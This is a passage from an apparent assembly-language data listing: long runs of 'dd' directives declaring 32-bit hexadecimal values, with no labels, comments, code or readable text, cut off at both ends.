1AFD247h, 0F2D79B57h, 5822BBh, 1052A337h, 98ABD040h dd 16ECE916h, 659014CFh, 95C0F86Ah, 44D8AA5Fh, 847CA603h dd 0C154DACEh, 20E60D39h, 22A57FCCh, 88D36200h, 503FEFA1h dd 0B54783Dh, 6620FB6Ah, 8FF49F08h, 9A85411Bh, 13C00824h dd 98C20A80h, 7C8B95B7h, 4CA00046h, 27A13125h, 170B9E84h dd 757719h, 0CFD2450Bh, 7D5791Bh, 0BEDC2E35h, 9826E3ABh dd 3088E124h, 0D7535D40h, 0D04D1D1Bh, 327C4056h, 8DB7C2E5h dd 0CD34901h, 37F1BCE6h, 77006023h, 6E7EF9DEh, 0C90F8F11h dd 20179D62h, 0C7468CCDh, 15882273h, 17F0812h, 68ABE000h dd 42024D6h, 606DD3AEh, 0D548806Ch, 0DB727846h, 0B84B9C0h dd 651716A1h, 0C00371ADh, 2B93F664h, 0A3025BF8h, 85B40C51h dd 0E04488h, 9368F8E3h, 0D2831C8Dh, 1518D0A4h, 3449A2F3h dd 0F09303FFh, 0ECDA76D6h, 29EC990h, 1A885D11h, 7931600h dd 0BF0BB3E3h, 0F7FC7604h, 8488ED60h, 44660025h, 0C70F9E9Bh dd 42486875h, 836D3EDCh, 32C01E15h, 0BC101294h, 0B73C0A53h dd 81DE00F4h, 0EF17D29Eh, 0E0E9C304h, 880B411h, 26B6B266h dd 1E708B27h, 0BDB82C7h, 756AFBh, 5E897FA0h, 60983Ah, 94DC334Fh dd 459DB935h, 0BAE0300Ch, 28A44872h, 909D4ED6h, 37CE3CD4h dd 3BED293h, 3549809Ch, 548875A0h, 70D3B904h, 94C0E03Dh dd 45D2EAh, 0C4D98A2Ah, 35867AA5h, 470CAC03h, 2ACBB730h dd 1E80A2C8h, 0C3B341Eh, 0E11C896h, 0E8B0AB54h, 0A4D2BC1Fh dd 75FF76C0h, 49BF6A5Eh, 796C78h, 0A58B5128h, 0B7E37C9Dh dd 0F21C7200h, 0A40AB9C2h, 1FDFC71h, 0EE3418A1h, 3221702Fh dd 128811D4h, 0CAD64A00h, 790735E2h, 41BB4601h, 5E129CBCh dd 0E263EAE7h, 0AF880007h, 690E30FBh, 880F81EDh, 34EBB200h dd 0E90CD84Ah, 0D2D5E7BDh, 0EF7F0189h, 169094EEh, 986354h dd 6BE118A2h, 9E6F2Dh, 0A477EDFh, 0C5DBCC3Ah, 0C0F3E603h dd 21CCDAFh, 0D6F57031h, 48C01B08h, 0F401390Bh, 0A33D3BE9h dd 7ED3BB38h, 429A0110h, 0B787572Ah, 0FB085CAh, 0C8000C9Eh dd 5B4D11D6h, 0AFB813F8h, 0C99C0C32h, 0C0582050h, 39868008h dd 334A46h, 273ED1F9h, 3B150D1Ch, 0EBB5D00h, 9366F165h dd 4031D36Bh, 2F1D58A0h, 0BD7D87B8h, 0C083D491h, 0A8FD74ADh dd 3AD6F16Ch, 7000CDE7h, 9EAEE535h, 4638C6B7h, 0B8FA0D2h dd 0BA2A75CEh, 0F9AE2C10h, 76531D0Fh, 0AA6AA0DDh, 0C0B3C53Dh dd 80615D21h, 217B9FABh, 0A7785402h, 80C1E5DAh, 9AD09988h dd 30831815h, 7FBF910Dh, 36B1B9C0h, 0BE1934h, 47E0DFCCh dd 86231F90h, 1C82200h, 0E532993h, 0F47955ECh, 0E9007833h dd 4404E370h, 920719BEh, 4A95D947h, 0EA3B9920h, 5D152CC7h dd 0EE183A34h, 751D41A5h, 0B467C501h, 0AC089EF6h, 0CF42C830h dd 16C418F8h, 676C8C12h, 7D255700h, 7A11C360h, 41210052h dd 0B5A950CAh, 58041BFAh, 0E1F43CFDh, 0E7810CC5h, 0E99707CEh dd 0D0E8053Eh, 1F7800C0h, 9EE6F37h, 3C597A07h, 0C6C05636h dd 0C5463FDh, 4BBBB091h, 4F00D5E1h, 0D0D305A1h, 0F9304BAh dd 174E19F1h, 0A822752Dh, 79043029h, 12517A6Bh, 0FE2BACC8h dd 6DAB00EEh, 8AB1B7AEh, 84776B36h, 9406787Bh, 71BFA4DAh dd 0CEC22C99h, 0AC100DCh, 41762652h, 1A0B90E4h, 639BDFh dd 0A33C7159h, 0BE6E24C3h, 56414154h, 2893F490h, 0BFA82503h dd 0A8A6C4B9h, 3D3097h, 6BEE8AB8h, 8759A489h, 55E36A00h dd 68DBFA38h dd 36F2EDh, 8BD4658Dh, 27E7147Fh, 209DF326h, 2D840900h dd 1D56F53Dh, 0C11528h, 5F82D3BEh, 32005B57h, 1C3CCB41h dd 6D576B4h, 5158F9A1h, 8AE4DCB5h, 353838h, 0EF9AF345h dd 5C93F998h, 2A0023ADh, 0B13B515Dh, 0A200EC8Fh, 5706D069h dd 1859EB28h, 40DBF9B4h, 5B060458h, 8F4CAC54h, 0D99E18B9h dd 401B61AAh, 0F413BF00h, 0D01485BAh, 10C00F2h, 1FECEFBEh dd 310605A9h, 8AC2CE69h, 0C0060041h, 169743DCh, 0BC015B58h dd 596A7470h, 599FB7B6h, 61828A9h, 0E35FB4E9h, 1D07116Dh dd 0C8E08E3Ch, 34394330h, 52130025h, 457412Dh, 1A18C5E4h dd 4B3173ECh, 0EF190086h, 0C35370D5h, 0B008731h, 69A1A65Bh dd 21EF272h, 0B4EF64EAh, 888F7BC0h, 42D3007Eh, 28B53919h dd 91C93730h, 8F7ED6Dh, 34B7F253h, 3D20073Eh, 62A078CAh dd 769924F4h, 0B85929DDh, 0D6CB0C94h, 0D1C5F41h, 0ECC0BE4Eh dd 42A96DD9h, 33580081h, 0E02868E8h, 59C03AD2h, 2F419615h dd 7E292882h, 5AC03C5h, 0D7D16484h, 45E2517Fh, 0BF006171h dd 6526E6A1h, 0C3ABCBACh, 5B114D21h, 0D9BBD2F8h, 2D9D2200h dd 0DA647CEEh, 0C01AB8AAh, 4C0578F0h, 0B1C7ADD9h, 5D300F3Eh dd 782F2B46h, 0E9FF0058h, 8E10B20Eh, 0F90CA267h, 31B1D935h dd 25F700EEh, 4D07C1F2h, 0E63DD0A1h, 93E98694h, 0D12ED2h dd 27F1FDC2h, 19C40980h, 17B4CE03h, 8AE3DC2Dh, 10DB0371h dd 0C4C87493h, 6500A00Eh, 13B85F04h, 3148C41h, 0B928BB7Bh dd 0D2A8EFF3h, 9F53BA44h, 4F0170B0h, 8D899EB7h, 0B8CF5ADEh dd 64BC9Ah, 52F96E8Eh, 3DAC4115h, 448A8807h, 5620674Bh dd 405051h, 9B6501FEh, 28EF949Ch, 59CD2C30h, 0C32210D6h dd 0D0CCC4C9h, 0FE491902h, 0C0C2C01Ah, 3078EB7Ch, 242936D2h dd 23065789h, 8654A91Eh, 0F8EC1FE1h, 80FD1FF9h, 8CB018BBh dd 0ED7D9DA9h, 5F332500h, 0D8BEF502h, 0AEB900FBh, 0D6EE0E44h dd 59CF2AD7h, 0BC75D9h, 336B1270h, 145D842h, 35411ABBh dd 0F84D3E91h, 68003929h, 0EE7AEDDFh, 1376B8A9h, 20D09CBAh dd 653A5B10h, 41F24301h, 9A529784h, 0EBD139FCh, 1674FCh dd 1842EA8Eh, 0B1E80F93h, 219AE003h, 7C8C51A9h, 41E912D1h dd 1A94F8EDh, 8E196E50h, 457C3180h, 0C45DF15Ah, 2402AC28h dd 1F44D7BBh, 80E098DAh, 0A41E2CB9h, 0C4013E2Ah, 0CB126D3Fh dd 8E2180C3h, 0FF3AF230h, 4F1D0CAAh, 975959E2h, 8FBEB800h dd 0B43A1C22h, 0C3284C52h, 0CBCD5601h, 5435F1AAh, 66A480A0h dd 20E569E7h, 2507E9E8h, 0AF5EDD3Ch, 7DB89CA0h, 41FD035Dh dd 210CD6E0h, 566B3900h, 0E28C496Ch, 795860ECh, 0EA2D6635h dd 8BF0C3F7h, 0EB90D3C8h, 0D8219063h, 0EE4EC331h, 0DA490111h dd 67FB651Ah, 787C40D1h, 0AE00CFF4h, 0BA96CCDBh, 5145E68h dd 2F56726Eh, 0FAA4407Ah, 3028E893h, 8C24F091h, 0BC1E3160h dd 5CD006Fh, 8843498Dh, 5932605Eh, 6138C1A1h, 2510718Ch dd 260B5F08h, 1B8AC3Bh, 7A53E020h, 16A50830h, 742E820h dd 1EB61A34h, 1FC0A60Fh, 3428879Ch, 5940DD50h, 0FC731C88h dd 242000B8h, 0C4DF97FCh, 0BE3CDA65h, 8350801Fh, 22F93664h dd 0D8C8F59Ah, 0DFCB303Dh, 6BAD9F49h, 757FB00h, 2D046CC3h dd 0EC953D4Bh, 61BD7180h, 6A640840h, 1B0068A4h, 74B4EA62h dd 0E6CEFF2h, 6BBF5157h, 0A9800582h, 1A8430C0h, 5FE3A018h dd 81FA9h, 0BD91E085h, 4F781D6Dh, 5186B03h, 0E00A34B3h dd 0A455AACAh, 82800AE0h, 60E84CA9h, 0B7CA3532h, 4891367h dd 0E5177D07h, 97C0C197h, 0FECC3h, 0AB75AFC0h, 0ED6EDD15h dd 1C36CA14h, 282F2CA0h, 0D6EADFC0h, 0B83C44EEh, 0F9F0675Fh dd 0D614A031h, 363F1449h, 7100D009h, 50864758h, 99C072E3h dd 0D840A917h, 9280027h, 4F8AECCCh, 0BB179590h, 400261C2h dd 6CF1D56Bh, 0A3D74464h, 1E92A01h, 3E6D3A9Eh, 45293D0h dd 84BA5045h, 48DFC00Bh, 0EA07EC36h, 5D867538h, 8FE370A0h dd 1D2B0068h, 44D4BBFDh, 0BCA09465h, 0B90A6E45h, 0A0D1ED6Ch dd 5913A811h, 186025A2h, 0D8081CCh, 0A49F103h, 80847FE9h dd 3D143DC1h, 0A90A8504h, 1B208A4Fh, 7AC0C1BCh, 894C71FBh dd 0BEB406E1h, 29D8CBh, 0E62847CCh, 0AF5FBA7Eh, 0A51F5900h dd 1E642D46h, 0E0B35827h, 0A902C3C0h, 0D6006103h, 0A313EC69h dd 44B75958h, 6550E4B3h, 9F0070BCh, 0F9D289BCh, 4CACB136h dd 33C08443h, 72C5C1B6h, 864DA911h, 0CCBA9F00h, 0C29DA160h dd 0C6FD9901h, 37F4AB06h, 0CD8281BEh, 0E8A85D35h, 1127F461h dd 5810B0D0h, 0FE000970h, 0A28DED5Ah, 133B633Fh, 546FB27Fh dd 0D10A24D0h, 8080D9CBh, 709CD51Bh, 2200FB4Eh, 2DAD1DF7h dd 90DC20Ah, 0ED501737h, 40DB2484h, 69B4ECF3h, 44BF245Ah dd 281A00A4h, 0D9871D81h, 2600CCB9h, 42B06B8Eh, 2FC20CC6h dd 3C41CF33h, 6CA07A07h, 0F0A00FBFh, 1BB207h, 57323DA9h dd 0B9BC1936h, 0F2547490h, 5505D47Ch, 62FF91CAh, 69BDEC0Dh dd 0B4423882h, 9C64F1FBh, 0D9E77F00h, 60A15EF7h, 29733B74h dd 0BBC1F307h, 0B575906Dh, 889149ACh, 9BA2EA07h, 2565450h dd 0F9ED0A64h, 0E48087h, 57E00C73h, 787803BEh, 880FC101h dd 1C514E4Ah, 0D4131885h, 0F36088DAh, 7EF40905h, 94095394h dd 0E44470h, 0E2C5165Fh, 6B7B6FD4h, 97B5950Fh, 4B1DE0CFh dd 1725F11Ch, 20D8D532h, 0CA2858ECh, 0B1084700h, 36423C7Dh dd 24E013EBh, 847900BEh, 0BA5906A0h, 3581B461h, 72E09A0Dh dd 30B73065h, 9C740949h, 2701FD78h, 2BF14932h, 0EFC4FF70h dd 371600ECh, 0C5AE133h, 0EA0069DDh, 9CF92857h, 62D3BAh dd 52FE41EFh, 0EC19421Ah, 0F8006491h, 0F5125FC9h, 6DFC91h dd 21C7447h, 70D4901Dh, 8342EF04h, 80C8D287h, 0CEE100CCh dd 5946A11Fh, 0E3394D09h, 718605DEh, 0A8C0ED27h, 29E849D5h dd 39CEC1Ch, 0D8D0848h, 7A9285B0h, 5D877F00h, 1DCB47F0h dd 65030A55h, 0D89E16h, 5FBDE36Bh, 0FEA0F036h, 89F86377h dd 0C5F658h, 0FA5C9FFh, 0BA34EF9h, 0C71941CBh, 0C253EC04h dd 20613340h, 0C00A1085h, 662CEC75h, 195A58B4h, 7B2D7700h dd 6EE72637h, 1500078h, 0D8B4BEA2h, 70C39688h, 0CC599C3Dh dd 0C350CC8h, 0E5304708h, 9C90588Ch, 2C28420Bh, 8B9011D1h dd 95973510h, 5FC75C17h, 0E70F2400h, 7EAD228h, 0DAC3F18Ah dd 0EF12834Dh, 24D9FFC0h, 0A582162Ch, 0A469E00h, 0F51C99Ch dd 50E345Bh, 0CEE8459Eh, 0A600C8F0h, 94AA1606h, 18A92C6h dd 6A5B6F34h, 648DF00Ah, 0E8A1CA00h, 151A8026h, 22DEBD6Bh dd 0EB280056h, 62C6F8ECh, 0ECA83BB7h, 783A6594h, 5E057F39h dd 0E283528Dh, 3F10E020h, 0CE50095h, 0B581E33Ch, 15F25717h dd 5E040900h, 6CB8DFF8h, 1088045Dh, 0A5A35993h, 482C403Ch dd 0E34803ABh, 6F009D3Ch, 0B46474CBh, 0B420E7DFh, 0F6E06FEh dd 10C937E1h, 0EAE86C50h, 0B5BDC500h, 64F340A4h, 0E4FEE10h dd 18B856CBh, 0E5380753h, 51582193h, 13C0F350h, 1BF83E44h dd 0E12CB730h, 3DE763Bh, 0A1D42EC9h, 59881FB3h, 0E80E1154h dd 62C85A63h, 5ADAEA01h, 583FF4E4h, 1F73BB82h, 943BD821h dd 0A9C594CBh, 0A2F8215Bh, 3B43D86Ch, 0BA874203h, 0B3AAC9E2h dd 0B721185Bh, 2CD68911h, 0A4CFA900h, 0F3ABBFBBh, 36EF0094h dd 0A882D0BDh, 0B4997A2Fh, 0E20F6D00h, 0D8EEAAh, 0C73258E0h dd 7D05A9D4h, 142B4117h dd 0CC244C30h, 99820027h, 0D03D7ACDh, 3100C1C6h, 0B0C361B9h dd 5264DAFCh, 700988D2h, 75F0EE5h, 2DF0CB98h, 3CAB8CCFh dd 0E900C010h, 0E80589BFh, 4094D16Ch, 4517BE83h, 0E54DF8D9h dd 0B1B5004Fh, 9C9AC61Eh, 64241979h, 0E11CDCFDh, 75E900FAh dd 3AB5D348h, 18527B0Dh, 8123D8D6h, 0F052CABAh, 7EB200A0h dd 0FEA9AD4Bh, 980E4C53h, 10575176h, 1EC40C20h, 0C2416718h dd 60A34F5Bh, 0DAFBAC40h, 0D92A8298h, 5603DCAFh, 0D4A9936Fh dd 181F883Fh, 2D871341h, 6D00308Bh, 1E0797CBh, 1A3C77E2h dd 58895470h, 610604C8h, 88D9043Dh, 0F409EB60h, 80BDAF8Ch dd 6F304440h, 2AAB00A8h, 84D7CFE6h, 6900BBF0h, 9C496D19h dd 8858E354h, 11F8DD6Ch, 6FB53701h, 54C087EDh, 1AFCA8EFh dd 440A4BD6h, 40ADD0F4h, 1C80DCAAh, 4C52000Bh, 0AEC0E2EFh dd 293E2BACh, 0B5EE09DEh, 8B7C40F6h, 487C9AC7h, 680980DFh dd 346A3D28h, 23000051h, 9384A79Dh, 51C8005Ch, 147967B5h dd 2826691Bh, 6205ACE0h, 0D888B711h, 0E54E069Eh, 584A126Ah dd 0A1A3DA30h, 19A8FCEh, 27B17717h, 0C0D929A7h, 4D020EE8h dd 0ABCF7568h, 5C7052D7h, 848052Fh, 0F8851169h, 0E230A448h dd 0C588DA78h, 233501D6h, 0A7BFBC1Dh, 0D7E1E0C1h, 0C8933006h dd 29B5D9h, 513DE041h, 29BB03CDh, 0A297921Eh, 4848AA49h dd 1FF37FDCh, 7D44EAh, 58E86F55h, 0A7003FBBh, 0F994AA0h dd 166B32h, 7B251E95h, 6DCED30Ah, 1D734598h, 78209A4Fh dd 0E0B4A25h, 9C75F27h, 933D1962h, 0EF08B0C0h, 228F98B9h dd 0D2F0A045h, 1F50B202h, 0A8FD9281h, 4AF43F24h, 69998E84h dd 6D8080C3h, 0EF3BA55Dh, 564CC52h, 0C7A8CDE4h, 1EE738CCh dd 0C1ED5B8Bh, 58C6D415h, 6CA53024h, 0C8B38902h, 40A40DA7h dd 4D9D884h, 0CBC6E892h, 4FA00D1h, 1787B09h, 4EC2A35Dh dd 48D0C552h, 0AD001EA4h, 59FD6E5Ah, 1270AEECh, 672894h dd 18B6522Ch, 5E129C61h, 0C4614EACh, 28FCF5D5h, 616C9634h dd 284DA9FCh, 4E318090h, 30217067h, 3429DECBh, 0E93E9C86h dd 9D0C00D3h, 154B57B4h, 3C443A2Dh, 0D6DD8989h, 40238C24h dd 1651E167h, 6CCE5042h, 6B7D0037h, 0E797F171h, 0C6268BEAh dd 0A135487h, 4C0C8D4h, 96ECC702h, 84EB4014h, 0F51F667Dh dd 0DA80EA0Fh, 9D6889F9h, 9F3D05D7h, 0CCA25981h, 0ED0B12C4h dd 20898731h, 0A04A4950h, 0F0D3149Fh, 7F80FCDAh, 3B6E3091h dd 78C17A24h, 0A1FDC000h, 91EF7ECFh, 7B63805Ch, 0E7596C7Ch dd 0EAEE8105h, 0E0B27E04h, 0DB54DF01h, 0F4963C43h, 270FBD33h dd 80C787F9h, 7D70A5FDh, 815601C2h, 0BC578EF5h, 0D1A1E882h dd 7CF8945Ch, 0F0CC7F2Ch, 0F8001C17h, 4360F2BBh, 69510385h dd 8805AC42h, 0B7CBB9F8h, 450194A4h, 0D30B3DBCh, 401451A9h dd 0A71AD2F4h, 48B32C2Fh, 0ABFDD700h, 28222449h, 4B48242h dd 358B28E0h, 14A210h, 0FD7E65Dh, 3730C69h, 25A162F7h dd 7FB92419h, 0F3AFE4ACh, 9EB4FD03h, 0F887EA9Ch, 54B195Bh dd 0C0ED9356h, 0CCC8A5CCh, 82004E05h, 0F8B351Ch, 0B06028BCh dd 16F704F0h, 0A4B763F0h, 0A503E0B8h, 5871852Ch, 0A1E28B28h dd 2E60BC05h, 0E1BE6957h, 0CF8E8498h, 4A413724h, 0B2916F00h dd 357E0EBh, 3A80CAF0h, 80F4A11Fh, 0F62F800h, 11EC06B0h dd 78580A60h, 451E325h, 1379692Dh, 430087FFh, 17C06CEAh dd 565C5E4Dh, 9865258Ch, 981D6824h, 13610048h, 0E819DFFCh dd 60006F75h, 0F39E9B8Eh, 0B77F5h, 5B8051B8h, 0CC2C28E7h dd 244FA80h, 4A36114Ch, 1C72D9C9h, 64FCAF01h, 8631855Fh dd 4CDEFCh, 47AC0A78h, 59ED89ECh, 0F92FD230h, 7A357F76h dd 24400009h, 0A6C3944Ch, 36007515h, 7E9B315Bh, 1369E94Eh dd 30675157h, 322E08D4h, 0A7070F79h, 91FD76C9h, 25B8A100h dd 0B089013h, 7A1CD408h, 20C49D8Bh, 0AE414B0Fh, 21F5C0EAh dd 1285952h, 3ADE8046h, 0F0366167h, 0F248F9Ah, 0AF675093h dd 3225A01Fh, 84855AA9h, 0E3C6B416h, 65C240D0h, 4CCF00C8h dd 174DF772h, 214A8706h, 81E40020h, 9B8800D2h, 0BBE5DDCDh dd 4B7643A0h, 120E4C0Eh, 0E789E457h, 75601280h, 5DC91DAh dd 0C012958Eh, 0BD70C956h, 0FE57A600h, 994DE589h, 406CB43Bh dd 3DE22FA2h, 348F100h, 97397D83h, 0E0177DC9h, 62870001h dd 803C268Ch, 0DE589270h, 1EAC2280h, 80D4833Ah, 0CAFCEEF7h dd 0A16051Bh, 0F00A6ECDh, 901180FBh, 0CE4D760Bh, 16989468h dd 9F12F400h, 0D6098350h, 0F9206905h, 545EF818h, 66E0F973h dd 0CE687D00h, 70A112E8h, 0D980047h, 0CC0A6485h, 0A4083C1Ah dd 26607C9Ch, 8854008Dh, 55091994h, 915BAC2Dh, 570CA1FCh dd 6405209Bh, 28813D06h, 90244151h, 58C5039Bh, 4AD17D5Bh dd 3AC6B0A7h, 561DC87Eh, 0A024D4BBh, 0B6B75986h, 6EFB0459h dd 0C2DEC048h, 10C0EB3Ch, 418821EEh, 4EEF03BEh, 57EC0E80h dd 39118100h, 44615A64h, 0FAC0F2F7h, 108604BBh, 0B2E2D5A1h dd 3A1D1D7Ch, 492E82BCh, 0D8BB7D46h, 17E87590h, 0D62D66h dd 218C47D8h, 0BC984251h, 750F2Eh, 24CB15h, 3CF7C581h dd 136146B9h, 0F63F0Bh, 945FC298h, 815C28BBh, 90B52784h dd 7E8851F4h, 0A911006Ch, 596552D0h, 90BE6387h, 8FC2A841h dd 45E1A8F3h, 680F48D5h, 0EAC1FC94h, 0DCFC6F19h, 110014E2h dd 50811D28h, 4859DC98h, 0D289C0AEh, 20AF1810h, 0FB074E05h dd 0C807D74h, 7F5818h, 0E677BC2Bh, 0A9DE49D6h, 89A74F31h dd 798025B7h, 0C64DB889h, 0E8000CF5h, 530456Eh, 78D39E7Bh dd 0F44A0258h, 33281DEAh, 0CA0210ECh, 0D1D25B51h, 0F0A88086h dd 0BCD9D59Bh, 0E56462D4h, 41A84E0h, 0CDCB071Ah, 45E56041h dd 61951ED6h, 0B9DFCFA1h, 0D26E0A17h, 627040C0h, 9B0025D5h dd 81E57EB4h, 0FFD45BEFh, 2F9C64E8h, 64113E2Fh, 0FF19105Fh dd 0D33CC0C8h, 4B9CA90Dh, 9D44A000h, 990BA85Ah, 218075Fh dd 0CA54C1ECh, 0DA011A8h, 498248A9h, 9C003423h, 98CB063Bh dd 301CBDD9h, 0CD8071BBh, 0DD741F11h, 0D6FA2503h, 2A5FDC90h dd 0ED1E1A7Ch, 0DFDDDE4Ch, 80499F89h, 1B589DC4h, 0CBC8A9EEh dd 3500E06Dh, 4B378CF6h, 0F9E63FC2h, 1A71CE00h, 7DA2EAF3h dd 697001CDh, 0DC486DECh, 589AD806h, 0B766E40Ch, 287939h dd 2FC302D7h, 42BB8FDDh, 0F4ECE12Eh, 0D9155740h, 0A19B01A8h dd 0A07C206Ch, 0B023EEh, 778A3D10h, 96690FFh, 332FB39Ch dd 0D710A051h, 1834C080h, 19049F96h, 0BEB95971h, 1F058088h dd 40365E1Dh, 0C9C3D80Ah, 8900FC0Fh, 33229507h, 12E3E9F9h dd 0A0E2A869h, 0E4A14CE4h, 2E0611CFh, 0B872EFE8h, 2349078h dd 5A54C919h, 32001BB9h, 91C6230Ch, 943080D4h, 6EF2AFA6h dd 9B86C409h, 4CE4F6h, 7E07FCE6h, 51C39D5h, 9EDFC200h dd 8ECEA269h, 91374BFEh, 23AEAF9Ch, 11742104h, 0ADB4003Ah dd 2EAA1145h, 0FB9800F5h, 426C511Ah, 0C1C5D4CEh, 52C0D8C1h dd 377ACFFh, 111D679Ch, 0C2E15DAFh, 0F862D2h, 0EB897209h dd 0D12E268h, 2D06D602h, 8E542869h, 91BBE331h, 6A22C128h dd 0A201EC2Ch, 0B85F2FD0h, 100CEFD6h, 0C83BD7CDh, 0E8ED09E0h dd 54E54EA9h, 3C2E290Eh, 0CA9FC4DFh, 0C62FBD00h, 0FE322AAAh dd 4434EE0Eh, 0A891ECDCh, 0C9484A00h, 35BCBD0h, 0FFBFEBB7h dd 328897DAh, 9C96046Eh, 0EA0FE400h, 19A35A7h, 0B95119B3h dd 0E8C26989h, 4045674h dd 0D89101CAh, 0CD0048E2h, 8C44DC9Eh, 0D25B64CFh, 0C7438C47h dd 0C5576590h, 6AC11482h, 68DEE8E1h, 15B071A2h, 7064E017h dd 91C00200h, 63CC88F6h, 94BA70E9h, 1004F271h, 2F283D56h dd 0D61264BDh, 4048C90Bh, 0BAF34A0Ch, 42EC6F25h, 68AC0148h dd 0F828B13Ch, 45C05D80h, 17EE28B3h, 0B70344FEh, 7FCD89BAh dd 5BB23E66h, 20B45B77h, 7E783B1Ch, 847C3403h, 0B1764448h dd 7C7656A9h, 0FAABF09h, 0D5092051h, 8450681Dh, 334537h dd 73D6F144h, 0C6EA1400h, 0EB68A41Ah, 2609CEFh, 2609E748h dd 0A536EF82h, 0CE0F454h, 968131h, 0D4946D1Ch, 718FC6A8h dd 1BC95413h, 0B9221830h, 0B7722F49h, 500E7054h, 0BB6B4756h dd 0B4BC1984h, 2483750Fh, 0F269FC25h, 0E1138C8h, 9353F4h dd 41917CAh, 0DAEF112Eh, 814E00A9h, 93B8038Fh, 1E210090h dd 569C8742h, 0FF0029FCh, 4BAEFD0Bh, 0E0476DC1h, 415229EFh dd 5FF28080h, 5D1D120Bh, 0CD472F00h, 2B89284Dh, 0EA62E32h dd 0F1778448h, 7EE488ECh, 27175900h, 0BB782636h, 9C0105F6h dd 0C1E030AFh, 14200F40h, 0DE0E14F2h, 4E21FCB1h, 0FC75E447h dd 0E9FCBBC2h, 0D9145AFAh, 28D40526h, 89148864h, 0E8CC94Ch dd 820AE19Bh, 4251AB99h, 0F91CC021h, 9F0504BFh, 0A8F32869h dd 48D2CB84h, 5279C8h, 0CBF33A4Ch, 4D62712Bh, 242E50B5h dd 101C9773h, 24898086h, 9A51E933h, 88694B94h, 0FB007948h dd 588DDF18h, 58CC84Ch, 0C4639E6Bh, 0C0A43089h, 600E8ADh dd 51CB5542h, 13E00EBDh, 0A2C7196Bh, 10761E64h, 0FBC152C0h dd 0B8938A1h, 41C2F835h, 0ACB6D8E6h, 0B762E360h, 9A41C012h dd 26F866A7h, 5DB86E00h, 9ED62834h, 0C45C0BF2h, 9C870540h dd 0A4B2BFA4h, 0EC75FC68h, 0B7BC7513h, 13B58C20h, 33811323h dd 369900AFh, 0A24250DAh, 0A9EAD507h, 0C6E4F887h, 804BEEC2h dd 0DD19D8C4h, 80C894D9h, 0C10AC80Eh, 3908E5D2h, 412CF6Dh dd 0A406D594h, 28275640h, 0B82810FDh, 0E19100EDh, 9CE44CA8h dd 8500BB6Fh, 11426B96h, 16CF0AF5h, 1364871Bh, 0F05B1068h dd 0B2F8EC00h, 450749BEh, 2F596100h, 0C50AF281h, 2A2FC0Dh dd 0FE7202E6h, 0B4C43D28h, 5E9F7B14h, 0C0A425E8h, 0F9B7E0h dd 330F6C5Ah, 21641C9Bh, 0C15FB202h, 40E42CC5h, 0A2962ED9h dd 0E47409C0h, 576E0018h, 0F3146C12h, 0CD4C0917h, 56BE00D8h dd 8478A1C5h, 0A0380325h, 0BDD4646Ch, 30D96839h, 83E27006h dd 80041DDEh, 4C27494Eh, 803BD879h, 82B64790h, 1552569h dd 8A9CBBA1h, 337EF054h, 4C4E00D8h, 0B035C58Eh, 84901Eh dd 0A22EDFFCh, 6E894686h, 4441D95Bh, 0A87A9AC8h, 0E2001039h dd 4DBFFD46h, 5E7D399Eh, 310F6A00h, 7FD242B7h, 64C7011Ch dd 0C1278BC2h, 0AC203B53h, 4FED74h, 47665E9Eh, 17807146h dd 9D3DA903h, 5FCE16Bh, 546099E8h, 28A23Ah, 0AD0B3FFEh dd 5F07D5h, 716C14EAh, 733C3D5Ch, 0C87EA72Eh, 20D1750Eh dd 0EFF3EB7Fh, 5C374828h, 1898C78Bh, 8EE291BFh, 5DE84200h dd 0D6E4F427h, 0E360EFA1h, 7C90A860h, 0A6F20F90h, 9B27AD14h dd 0D864E1B7h, 0B2D420ABh, 0A93CC80Bh, 0A0D8464Ch, 96DA16BAh dd 0C9B18118h, 0E48D0E2Ah, 1439FFE5h, 0B32904FAh, 0E0EDB72Bh dd 21164C00h, 85A8A774h, 4EA15A07h, 0A9D26CF2h, 24841251h dd 56C240B6h, 7B8418h, 0E65C9F7Dh, 0E75F8D3Eh, 2804FC00h dd 0D1EDFD81h, 0E2F324C7h, 0B7EA0F7Ch, 0C8F57199h, 0EF00A61Fh dd 0BF2F15E8h, 16EC257Bh, 30389AB1h, 0FCA6CF18h, 244CD900h dd 250A03AFh, 0B449027Bh, 0D0B14569h, 3900CCD2h, 40C10C30h dd 2F5F9F64h, 3C1950ACh, 0BAFF10B1h, 540618E6h, 19B99025h dd 4880E212h, 8622F408h, 0B8C136C9h, 0AF95B816h, 8759B480h dd 1F3F27A5h, 0D6001CE6h, 0DAB9EB49h, 90174B1Ah, 74F00064h dd 7F56A0D5h, 5E148B92h, 3C485BACh, 0FE8C8587h, 0CD1586Eh dd 0B4205FB4h, 6B86023Eh, 0F81A3FD8h, 1E1C60E6h, 0BF4E51A2h dd 4586E02Ah, 16F1C48h, 0E765B318h, 70127953h, 0E8B1197Ah dd 0F83E6180h, 0B64FE1h, 4A6687B2h, 0AE4363AAh, 0DA514D2Ch dd 5C5AAC1Dh, 0CC4631h, 7C7531D7h, 0A0C82A22h, 533DD00h dd 0E7F96B25h, 565D019Fh, 1AF7767Ah, 3874207Bh, 0B864DA44h dd 11360138h, 0D6E3D270h, 0C1107C10h, 0B852E7E0h, 20165E0h dd 0FFEC923Fh, 40A0A691h, 5A75A3A9h, 3D0004F6h, 6B455E54h dd 4BF5263h, 805D9AC1h, 8398B8C0h, 0A0023BE0h, 95A04Ah dd 1C330375h, 0DD93BE1Fh, 1B0BE09Ch, 0D5E082BBh, 511C80D7h dd 9A22D7Fh, 0A09CDCACh, 8C0EA0F1h, 837A2046h, 0E3D615h dd 586F5C5Dh, 0C8F8547Eh, 0D259D512h, 0B59B5890h, 76050521h dd 0B0492B2h, 0E4B042ACh, 4A7A5B74h, 5861E413h, 521EF4E2h dd 0BDF14039h, 0C7EFF030h, 3D81953Dh, 9C3D0E54h, 0D880E1E8h dd 86943A9h, 0CBFCED04h, 88E940D5h, 0F86DA10Dh, 9D630FE5h dd 0DB44C468h, 0C05C845Bh, 60E322Ch, 8093243Ch, 0C5F148D3h dd 252FCB5Fh, 0E491CC35h, 49901721h, 506A3C31h, 8210D1h dd 74BE600Ch, 7B034DE9h, 80C0D258h, 966A45F5h, 51B01BAh dd 0EED44642h, 471871A4h, 5C052B08h, 0DC4001Fh, 6DDAFA0Ah dd 5AF880B0h, 7A968302h, 64D0A8E3h, 0C7DC01F8h, 4BDDC471h dd 0E788E07Dh, 8D5A6800h, 96AB1932h, 84EC0F99h, 69A21149h dd 90984EACh, 575FA9E2h, 0C3D45020h, 7C2000AFh, 0C8460C36h dd 989A416Ch, 40A3926h, 0C30F0900h, 125C2C04h, 0CA5AA9BDh dd 